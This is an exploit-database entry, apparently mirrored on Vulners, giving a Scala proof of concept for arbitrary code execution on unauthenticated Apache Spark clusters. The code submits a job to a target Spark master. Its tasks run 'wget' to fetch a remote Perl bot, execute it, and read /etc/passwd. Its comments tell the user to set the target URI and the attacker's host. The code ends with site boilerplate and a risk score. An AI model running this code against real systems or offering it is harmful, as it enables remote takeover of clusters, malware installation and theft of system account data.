Apache Spark Cluster Arbitary Code Execution Exploit
import org.apache.spark.{SparkContext, SparkConf}
/**
* Created by akhld on 23/3/15.
*/
object Exploit {
def main(arg: Array[String]) {
val sconf = new SparkConf()
.setMaster("spark://spark-b-akhil-master:7077") // Set this to the vulnerable URI
.setAppName("Exploit")
.set("spark.cores.max", "12")
.set("spark.executor.memory", "10g")
.set("spark.driver.host","hacked.work") // Set this to your host from where you launch the attack
val sc = new SparkContext(sconf)
sc.addJar("target/scala-2.10/spark-exploit_2.10-1.0.jar")
val exploit = sc.parallelize(1 to 1).map(x=>{
//Replace these with whatever you want to get executed
val x = "wget https://mallicioushost/mal.pl -O bot.pl".!
val y = "perl bot.pl".!
scala.io.Source.fromFile("/etc/passwd").mkString
})
exploit.collect().foreach(println)
}
}
# 0day.today [2018-04-01] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Mar 2015 00:00Current
7.2High risk
Vulners AI Score7.2